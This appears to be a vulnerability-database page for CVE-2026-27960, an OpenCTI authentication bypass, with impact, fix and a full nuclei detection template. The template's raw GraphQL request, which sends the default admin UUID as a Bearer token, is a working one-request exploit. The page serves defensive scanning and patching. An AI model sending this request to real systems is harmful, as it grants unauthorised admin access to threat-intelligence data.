HexBrain

Browse / CVEs / CVE-2026-27960

CVE-2026-27960· opencti / opencti· CWE-287

OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation

criticalseverity
9.8CVSS score
7.1%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.

Impact

An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.

Fix

Upgrade OpenCTI to version 6.9.13 or later.

How to confirm it

Send: POST /graphql
Positive when: regex("\"data\"\\s*:\\s*\\{\\s*\"me\"\\s*:\\s*\\{[^{}]*\"user_email\"\\s*:\\s*\"[^\"]+\"", body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-27960 -u <target>

The full check
id: CVE-2026-27960

info:
  name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
  author: DhiyaneshDk
  severity: critical
  description: |
    OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.
  impact: |
    An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.
  remediation: |
    Upgrade OpenCTI to version 6.9.13 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27960
    - https://www.pruva.dev/reproductions/REPRO-2026-00314
    - https://www.pruva.dev/reproductions/REPRO-2026-00331
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-27960
    epss-score: 0.07086
    epss-percentile: 0.94275
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    vendor: opencti
    product: opencti
  tags: cve,cve2026,opencti,auth-bypass,unauth,vkev

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f

        {"query":"{ me { user_email name } }"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("\"data\"\\s*:\\s*\\{\\s*\"me\"\\s*:\\s*\\{[^{}]*\"user_email\"\\s*:\\s*\"[^\"]+\"", body)'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.data.me.user_email'

References

Use this check only on systems you are authorised to test. Where the data comes from